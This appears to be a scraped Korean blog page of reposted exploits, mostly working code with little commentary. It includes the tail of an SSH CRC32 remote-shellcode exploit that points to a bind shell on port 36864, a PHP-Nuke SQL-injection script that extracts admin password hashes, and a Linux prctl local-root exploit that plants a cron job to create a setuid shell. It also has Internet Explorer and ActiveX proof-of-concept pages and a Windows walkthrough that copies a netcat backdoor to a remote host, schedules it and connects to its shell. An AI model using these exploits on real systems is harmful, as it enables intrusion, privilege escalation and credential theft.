                ptr[ positions[i]*2+1 ] = value2;
        }
}

void change_word_order()
{
        int i;
        char ch, ch2, *aux;

        for(i = 0 ; i < 4+packet_length ; i+=4) {
            aux = buffer + i;
            ch=*aux;
            *aux=*(aux+3);
            *(aux+3)=ch;
            ch=*(aux+1);
            *(aux+1)=*(aux+2);
            *(aux+2)=ch;        
          }
}

int send_packet_and_check_result(char *grepstr)
{
        char commandline[512];
        int ret;
        FILE *f;

        // Write packet
        f = fopen("/tmp/exploit_packet", "wb");
        fwrite(buffer, 1, (packet_length+8), f);
        fclose(f);

       
        sprintf(commandline, "%s -p %i -v -l root %s 2> /tmp/output.txt", PATH_SSH, port, host);

          ret = system(commandline);
         
          if (grepstr != NULL) {
                  sprintf(commandline, "grep %s /tmp/output.txt > /dev/null", grepstr);
                  ret = system(commandline);
          }
          return ret;
}

int send_packet_shellcode(unsigned long buffer_offset, unsigned long eip_offset, unsigned int presumed_MSW, unsigned int target_MSW)
{
        int ret, i;
        unsigned long *ptr, buffer_offset_slide, temp;
        char ch,ch2;

        // Set the packet lengths (first one for the ssh-client)
        //  (second one is sent to the server)
        ptr = (unsigned long *) buffer;
          *(ptr++) = packet_length;
          *(ptr++) = packet_length-1;

        // NOP sled (to entire packet)
        memset(ptr, 0x90, packet_length);

        // Running j to target_MSW (writing into the buffer, FFFF)
        // The +1 in "target_MSW+1" must be used because j starts at 0
          buffer_offset_slide = buffer_offset + 3;
          for (i=0; i < (target_MSW + 1) * 8 && i < packet_length; i+=8, buffer_offset_slide += 4) {
            *(ptr++) = buffer_offset_slide;
            *(ptr++) = 0x7350ffff;
          }
 
          // Inserting CRC32 compensation attack pattern
          //   Change the order of MSW-LSW
          ch = (target_MSW+1)&0xff;
          ch2 = ((target_MSW+1)&0xff00) >> 8;
          temp = (ch<<24)+(ch2<<16)+0x9090;
        insert_crc32_compensation_attack_pattern(ptr, buffer_offset_slide-1, temp);

 
        // Place EIP overwrite blocks
        ptr = (unsigned long *) buffer;
          ptr += 2;        // skip the length information

          ptr[presumed_MSW * 2] = eip_offset;
          ptr[target_MSW * 2] = eip_offset;

        // Change the word order in buffer
        change_word_order();

          // Insert the shellcode (no word-order things here)
          memcpy(buffer+8+packet_length-strlen(shellcode)-16, &shellcode, strlen(shellcode));

        // Send packet (no grepping)
        ret = send_packet_and_check_result(NULL);

          return ret;
}

int send_packet_kernel(unsigned long kernel_offset, unsigned long buffer_offset)
{
          int ret, i;
          unsigned long *ptr;

          ptr = (unsigned long *) buffer;
          *(ptr++) = packet_length;
          *(ptr++) = packet_length-1;

          for (i=0; i<packet_length; i+=8) {
            *(ptr++) = kernel_offset;
            *(ptr++) = 0x7350ffff;
          }

          ptr = (unsigned long *) buffer;
          ptr += 2;

        insert_crc32_compensation_attack_pattern(ptr+2, buffer_offset+6, 0x0100ffff);

          change_word_order();

        ret = send_packet_and_check_result("crc32");

        return ret;
}

int find_stack(unsigned long start_offset, unsigned long buffer_offset)
{
          unsigned long offset;
          long step;
          int ret;
          int count;

          offset = start_offset;

          printf("Finding lower kernel area boundaryn");
          while (1) {
            printf("  Testing h..boundary offset 0x%08x ", offset*2);
            fflush(stdout);
            ret = send_packet_kernel(offset, buffer_offset);
            if (ret == 0) {
                      printf("FOUND. (CRC32 Attack Detected)n");
                      break;
            }
            else {
                      printf("NOT FOUND. (SEQV)n");
                    }
            //    offset -= 0x800;
            offset -=2;
          }
          return offset+2; // We only need the exact h..kernel distance
}

int buffer_test(unsigned long start_offset, unsigned long packet_length)
{
          FILE *f;
          int ret, i, j;
          unsigned long *ptr;

          ptr = (unsigned long *) buffer;
        *(ptr++) = packet_length;
          *(ptr++) = packet_length-1;
 
          for (i=0, j=0; i<packet_length; i+=16, j+=4) {
            *(ptr++) = start_offset+j;
            *(ptr++) = 0xffffffff;
            *(ptr++) = start_offset+j+1;
            *(ptr++) = 0xffffffff;
          }

        change_word_order();

        ret = send_packet_and_check_result("Corrupted");
          return ret;
}

unsigned long find_buffer(unsigned long start_offset, unsigned stop_offset)
{
          int ret;
          unsigned long offset;
          long step;

          // Find estimate for h..buf distance
          printf("Finding estimate for h..buf distancen");
          offset = start_offset;
          while (1) {
            printf("  Testing h..buf offset: 0x%08x B", offset*2); // 2 -> 16-bit offset
            fflush(stdout);
            ret = buffer_test(offset, packet_length);
            if (ret == 0) {
                      printf("  FOUND (Corrupt bytes)n");
                      break;
            }
            else {
                      printf("  NOT FOUND (SEQV)n");
            }

            offset += packet_length/2/2;
            if (offset > stop_offset) {
                      printf("Stop offset reached. Exitingn");
                      return 0;
            }
          }

          // Find exact distance
          printf("Finding exact h..buf distancen");
 
          // Calculate the step size
          step = 1;
          while (1) {
            if (step > packet_length/2/2/2)
              break;
            step = step<<1;
          }

          offset -= step;
          while(step > 3) {
            printf("  Testing h..buf offset: 0x%08x B (prev. step=0x%08xh)", offset*2, step*2);
            fflush(stdout);
            ret = buffer_test(offset, packet_length);
            step = step/2;
            if (ret==0) {
                      printf(" FOUND. Decreasing by 0x%08xn", step);
              offset -= step;
            }
            else {
                      printf(" NOT FOUND. Increasing by 0x%08xn", step);
                      offset += step;
            }
          }

          printf("Found exact distance: 0x%08xn", offset*2);

          return offset;
}

void try_shellcode(unsigned long eip_guess, unsigned long buf_offset, unsigned long kernel_offset)
{
          long int higher, lower, p, t; // Offsets to seach, expands from the middle
          unsigned long h, eip_MSW_offset, roof_reached = 0;

          h = 0xc0000000 - kernel_offset * 2;

          // eip_offset must point to the MSW of eip, which resides at higher half of eip. Convert to 16-b offset  
          eip_MSW_offset = (eip_guess - h + 2) / 2;

          higher = 0;
          lower = -4;
          printf("Trying to run shellcode. If output stalls, telnet to %s:36864n", host);
          while(1) {
            for(p=0x805 ; p<=0x806 ; p++) {
                      for(t=p+1 ; t<=0x808 ; t++) {
                        if (eip_guess+higher < 0xc0000000) {
                                  printf("  Trying shellcode / (eip_MSW@0x%08x pres_MSW=0x%04x targ_MSW=0x%04x)n", eip_guess+higher, p, t);
                                  send_packet_shellcode(buf_offset, eip_MSW_offset + higher/2, p, t);
                        }
                        else if (!roof_reached && eip_guess+higher >= 0xc0000000) {
                                  printf("Higher search hit kernel bound. Continue with lower search only.n");
                                  roof_reached = 1;
                        }
                        printf("  Trying shellcode \ (eip_MSW@0x%08x pres_MSW=0x%04x targ_MSW=0x%04x)n", eip_guess+lower, p, t);
                        send_packet_shellcode(buf_offset, eip_MSW_offset + lower/2, p, t);        
                      }
            }
           
            higher += 4;
            lower -= 4;
          }
}

int main(int argc,char *argv[])
{
          unsigned long kernel_offset, buf_offset;

        // initialize the buffer
        buffer_init();

        // find the buf
        //  1st arg : start search from this offset
        //  2nd arg : stop search to this offset
        buf_offset = find_buffer(0x0, 102400/2*10);
       
        // find the stack
        //  1st arg : start search from this (16-bit) offset (high limit)
        //  2nd arg : found buf offset
        kernel_offset = find_stack(0xb7f88500/2, buf_offset);
       
        // try to send and run shellcode
        //  1st arg : initial guess where the eip is living (absolute 8-bit address)
        //  2nd arg : found buf offset
        //  3rd arg : found stack (0xc0000000) offset
          try_shellcode(0xc0000000 - 0x2600, buf_offset, kernel_offset);

        // destroy the buffer
        buffer_destroy();
          return 0;
}
2009/09/30 21:44 2009/09/30 21:44
/*
* [cdump 0.1 by PoWeR_PoRK of netric (http://www.netric.org)]
*  
*  Simple pipe driven utility for creating c-style char decs from binary
*  input. Can be of use for embedding shellcode etc in c sourcefiles.
*  Do "./shdump -h" for a usage overview.
*/

#include <stdio.h>

char usage[] =
"Usage: ./cdump [-h][-n <var name>][-u][-s <linesize>][-c [-cu]]n"
"Pipe driven utility for coverting binary data to c char declaration.n"
"Example: cat binfile | ./shdump -u -s 20 >> bin.cn"
"This adds the contents of binfile to bin.c in char declaration formatnn"

"-h <var name> See this usage overviewn"
"-n            Name of the char identifier (maxsize=30, default=foobar)n"
"-u            Set this to uppercase the hex outputn"
"-s <linesize> Set the maximum line size per byte input (default=10)n"
"-c            Comment the byte offsets into the outputn"
"-cu           Set this to uppercase hex chars in byte offset commentn";

int main(int argc, char **argv[])
{
  int i = -2,oldi, lsize = 10, ucase = 0, npar = 1, cc = 1, cmt = 0, cucase = 0;
  unsigned long place = 0;
  char c, vname[31];
  vname[30] = 0;
  strncpy(&vname, "foobar", 30);
 
  if(argc > 1){
    if(!strncmp(argv[1], "-h", 2)){
      printf("%s", &usage);
      exit(0);
    }
  
    while(npar <= 5 && npar <= (argc - 1)){
      if(!strncmp(argv[npar], "-n", 2)){      
        strncpy(&vname, argv[npar+1], 30);
        npar+=2;
      }else if(!strncmp(argv[npar], "-u", 2)){
        ucase = 1;
        npar++;
      }else if(!strncmp(argv[npar], "-s", 2)){
        lsize = atoi(argv[npar+1]);
        npar+=2;
      }else if(!strncmp(argv[npar], "-c", 2)){
        cmt = 1;
        npar++;
        if(npar <= (argc - 1)){
          if(!strncmp(argv[npar], "-cu", 3)){
            cucase = 1;
            npar++;
          }
        }
      }else{
        npar = argc;
      }
    }

  }

  if(strchr((char *)&vname, 37) != NULL){
    printf("Cheeky Bastard! :P (fmt exploitation not allowed)n");
    exit(0);
  }

  oldi = getchar();
  printf("char %s =n/* 0000:0000 */ "", (char *)&vname);
  while(oldi != EOF )
    {
        if( ucase == 0 ){
          printf("x%.2x", oldi);
        }else if( ucase == 1 ){
          printf("x%.2X", oldi);
        }
        if(cc >= lsize){
          if(cmt == 1){
            place += cc;
            if(cucase == 1){
              printf(""n/* %.4X:%.4X */ ", *((unsigned short *)&place + 1), *((unsigned short *)&place));
            }else{
              printf(""n/* %.4x:%.4x */ ", *((unsigned short *)&place + 1), *((unsigned short *)&place));
            }
          }else{
            printf(""n");
          }
          printf(""");
          cc = 0;
        }
        cc++;
      oldi = getchar();
    }
  printf("";n");
  return 0;
}
2009/09/30 21:43 2009/09/30 21:43
#!/usr/bin/perl -w
use IO::Socket;

########################################
## THIS CODE PUBLIC NOW =))) ##
########################################
## __________ ___ ___ ##
## ______ __ __ ______/ | ##
## | _/ | / ___/ _ ##
## | | | /___ \ / ##
## |____|_ /____//____ >___|_ / ##
## / / / ##
########################################
## based on 'cid' sql injection vuln
## in Download module, more info about
## this vuln u can see here:
## http://rst.void.ru/texts/advisory10.htm
########################################
## work only on mysql version > 4.0
########################################
## tested on PHP-Nuke versions: 6.9, 6.0, 6.5
## C:>r57phpnuke.pl 127.0.0.1 /phpnuke/ admin
##
## server : 127.0.0.1
## folder : /phpnuke/
## aid : admin
##
## [~] prepare to connect...
## [+] connected
## [~] prepare to send data...
## [+] success
## [~] wait for reply...
## [+] w00t...
## [+] USER: admin
## [+] MD5 HASH: 5f4dcc3b5aa765d61d8327deb882cf99
##
########################################

if (@ARGV < 3)
{
print "################################################################n";
print " r57nuke-cid.pl - PHP-NUKE 'cid' sql injection exploitn";
print " by RusH security team // www.rsteam.ru , http://rst.void.run";
print " coded by 1dt.w0lf // r00t@rsteam.ru // 17.09.2003n";
print "################################################################n";
print " Usage:n";
print " r57nuke-cid.pl <host> </folder/> <aid>n";
print "n";
print " <host> - host for attackn";
print " </folder/> - PHP-nuke folder ( /phpnuke/ , /nuke/ or / for no folder )n";
print " <aid> - user aid , nick ( admin , blabla )n";
print "##################################################################";
exit();
}

$server = $ARGV[0];
$folder = $ARGV[1];
$aid = $ARGV[2];

print "n";
print "server : $servern";
print "folder : $foldern";
print "aid : $aidn";
print "n";
$success = 0;
$path_download = "modules.php?name=Downloads&d_op=viewdownload&cid=2%20UNION%20select%20counter,%20aid,%20pwd%20FROM%20nuke_authors%20--";
$GET = $folder . $path_download;
print "[~] prepare to connect...n";
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80") || die "[-] connect failedn";
print "[+] connectedn";
print "[~] prepare to send data...n";
print $socket "GET $GET HTTP/1.1n";
print $socket "Host: $servern";
print $socket "Accept: */*n";
print $socket "Http-Referer: http://microsoft.comn";
print $socket "User-Agent: Internet Explorer 6.0n";
print $socket "Pragma: no-cachen";
print $socket "Cache-Control: no-cachen";
print $socket "Connection: closenn";
print "[+] successn";
print "[~] wait for reply...n";
while ($answer = <$socket>)
{
#print "$answer";
if ($answer=~/(&cid=)(w)("><b>)($aid)(</b></a></font>)(.{0,20})(<font class="content">)(.{32})(</font>)/)
{
$success = 1;
print "[+] w00t...n";
print "[+] USER: $1 n[+] MD5 HASH: $6n";
}
}
if ($success == 0) { print "[-] exploit failed =(n"; }
2009/09/30 21:43 2009/09/30 21:43
/*****************************************************/
/* Local r00t Exploit for:                           */
/* Linux Kernel PRCTL Core Dump Handling             */
/* ( BID 18874 / CVE-2006-2451 )                     */
/* Kernel 2.6.x  (>= 2.6.13 && < 2.6.17.4)           */
/* By:                                               */
/* - dreyer    <luna@aditel.org>   (main PoC code)   */
/* - RoMaNSoFt <roman@rs-labs.com> (local root code) */
/*                                  [ 10.Jul.2006 ]  */
/*****************************************************/

#include <stdio.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <unistd.h>
#include <linux/prctl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <signal.h>

char *payload="nSHELL=/bin/shnPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/binn* * * * *   root   cp /bin/sh /tmp/sh ; chown root /tmp/sh ; chmod 4755 /tmp/sh ; rm -f /etc/cron.d/coren";

int main() {
    int child;
    struct rlimit corelimit;
    printf("Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00tn");
    printf("By: dreyer & RoMaNSoFtn");
    printf("[ 10.Jul.2006 ]nn");

    corelimit.rlim_cur = RLIM_INFINITY;
    corelimit.rlim_max = RLIM_INFINITY;
    setrlimit(RLIMIT_CORE, &corelimit);

    printf("[*] Creating Cron entryn");

    if ( !( child = fork() )) {
        chdir("/etc/cron.d");
        prctl(PR_SET_DUMPABLE, 2);
        sleep(200);
        exit(1);
    }

    kill(child, SIGSEGV);

    printf("[*] Sleeping for aprox. one minute (** please wait **)n");
    sleep(62);

    printf("[*] Running shell (remember to remove /tmp/sh when finished) ...n");
    system("/tmp/sh -i");
}

// milw0rm.com [2006-07-11]

2.6.17.4 이하 버젼은 다 뚤림
2009/09/30 21:42 2009/09/30 21:42
-----------------------------------------------------------------------------
IDAutomation Multiple Vulnerabilities
url: www.idautomation.com

Author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://shinnai.altervista.org

This was written for educational purpose. Use it at your own risk.
Author will be not responsible for any damage.

Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7

In memory of rgod
-----------------------------------------------------------------------------
<b>IDAutomation Linear BarCode:</b> <object classid='clsid:0C3874AA-AB39-4B5E-A768-45F3CE6C6819' id='IDLinear'></object>
<b>IDautomation Datamatrix Barcode:</b> <object classid='clsid:DB67DB99-616A-4CAB-A3A1-2EF644F254E7' id='IDDataMatrix'></object>
<b>IDautomation PDF417 Barcode:</b> <object classid='clsid:E97EE6EB-7FBE-43B1-B6D8-C4D86C78C5A0' id='IDPDF'></object>
<b>IDautomation Aztec Barcode:</b> <object classid='clsid:eba15b30-80b4-11dc-b31d-0050c2490048' id='IDAztec'></object>
-----------------------------------------------------------------------------

<select style="width: 404px" name="IDAuto">
  <option value = "IDLinearOpt">IDAutomation Linear BarCode</option>
  <option value = "IDDataMatrixOpt">IDautomation Datamatrix Barcode</option>
  <option value = "IDPDFOpt">IDautomation PDF417 Barcode</option>
  <option value = "IDAztecOpt">IDautomation Aztec Barcode</option>
</select>

<select style="width: 404px" name="IDMethods">
  <option value = "SaveBarCode">SaveBarCode</option>
  <option value = "SaveEnhWMF">SaveEnhWMF</option>
</select>

<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>

<script language='vbscript'>
Sub tryMe
  On Error Resume Next
   If IDAuto.value="IDLinearOpt" And IDMethods.Value = "SaveBarCode" Then
    IDLinear.SaveBarCode "C:\IDLinearSaveBarCode.txt"
    MsgBox "Exploit completed!"
   ElseIf IDAuto.value="IDLinearOpt" And IDMethods.Value = "SaveEnhWMF" Then
    IDLinear.SaveBarCode "C:\IDLinearSaveEnhWMF.txt"
    MsgBox "Exploit completed!"
   ElseIf IDAuto.value="IDDataMatrixOpt" And IDMethods.Value = "SaveBarCode" Then
    IDDataMatrix.SaveBarCode "C:\IDDataMatrixSaveBarCode.txt"
    MsgBox "Exploit completed!"
   ElseIf IDAuto.value="IDDataMatrixOpt" And IDMethods.Value = "SaveEnhWMF" Then
    IDDataMatrix.SaveBarCode "C:\IDDataMatrixSaveEnhWMF.txt"
    MsgBox "Exploit completed!"
   ElseIf IDAuto.value="IDPDFOpt" And IDMethods.Value = "SaveBarCode" Then
    IDPDF.SaveBarCode "C:\IDPDFSaveBarCode.txt"
    MsgBox "Exploit completed!"
   ElseIf IDAuto.value="IDPDFOpt" And IDMethods.Value = "SaveEnhWMF" Then
    IDPDF.SaveEnhWMF "C:\IDPDFSaveEnhWMF.txt"
    MsgBox "Exploit completed!"
   ElseIf IDAuto.value="IDAztecOpt" And IDMethods.Value = "SaveBarCode" Then
    IDAztec.SaveBarCode "C:\IDAztecSaveBarCode.txt"
    MsgBox "Exploit completed!"
   ElseIf IDAuto.value="IDAztecOpt" And IDMethods.Value = "SaveEnhWMF" Then
    IDAztec.SaveEnhWMF "C:\IDAztecSaveEnhWMF.txt"
    MsgBox "Exploit completed!"
   Else
    MsgBox "Be safe..."
   End if
End Sub
</script>

# milw0rm.com [2008-05-14]
2009/09/30 21:42 2009/09/30 21:42
<!--
Internet Explorer "Print Table of Links" Cross-Zone Scripting Vulnerability

Author: Aviv Raff
http://aviv.raffon.net/

Summary

Internet Explorer is prone to a Cross-Zone Scripting vulnerability in
its “Print Table of Links” feature. This feature allows users to add to
a printed web page an appendix which contains a table of all the links
in that webpage.

An attacker can easily add a specially crafted link to a webpage (e.g.
at his own website, comments in blogs, social networks, Wikipedia,
etc.), so whenever a user will print this webpage with this feature
enabled, the attacker will be able to run arbitrary code on the user’s
machine (i.e. in order to take control over the machine).

Affected version

Internet Explorer 7.0 and 8.0b on a fully patched Windows XP.
Windows Vista with UAC enabled is partially affected (Information Leakage only).
Earlier versions of Internet Explorer may also be affected.

Technical details

Whenever a user prints a page, Internet Explorer uses a local resource
script which generates an new HTML to be printed. This HTML consists of
the following elements: Header, webpage body, Footer, and if enabled,
also the table of links in the webpage.

While the script takes only the text within the link’s inner data, it
does not validate the URL of links, and add it to the HTML as it is.
This allows to inject a script that will be executed when the new HTML
will be generated.

As I said in a previous post, most of the local resources in Internet
Explorer are now running in Internet Zone. Unfortunately, the printing
local resource script is running in Local Machine Zone, which means that
any injected script can execute arbitrary code on the user’s machine.

Proof of Concept

The following is an example of a URL which executes Windows Calculator:

http://www.google.com/?q=<script defer>new ActiveXObject(“Wscript.Shell”).run(“calc”)</script>
-->

<html>
<body>
Print me with table of links to execute calc.exe
<a href="http://www.bla.com?x=b<script defer >var x=new ActiveXObject('WScript.Shell');x.Run('calc.exe');</script>a.c<u>o</u>m"></a>
<script>window.print();</script>
</body>
</html>


# milw0rm.com [2008-05-14]
2009/09/30 21:42 2009/09/30 21:42
리모트에서 명령어 실행시키기

전제조건은 이미 명령을 실행시키려는 서버의 계정이있어야하고 목표 서버는 Netbios 서비스가 실행되어야합니다.
먼저 타켓컴퓨터와 연결을 합니다.

C:net use \targetipc$ “Password” /user:UserName

실행시키려는 프로그램을 타겟서버에 복사해넣습니다.

C:copy D:toolsncx99.exe \targetc$system32

타켓서버의 schedule 서비스를 열어놓습니다.
C:netsvc schedule \target /star
여기서 윈도우2000 이상부터는 디폴트로 스케쥴서비스가 열렸기에 이 작업이 필요없습니다.

타켓서버의 시간을 알아냅니다.

C:net time \target
\target의 현재 시간은 2003-12-13 오후 2:22입니다

명령어를 스케쥴에 등록합니다.

C:at \target 2:24pm ncx99.exe

시간을 다시 확인합니다.

C:net time \target

\target의 현재 시간은 2003-12-13 오후 2:24입니다

연결

C:telnet target 99

Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:>
2009/09/30 21:39 2009/09/30 21:39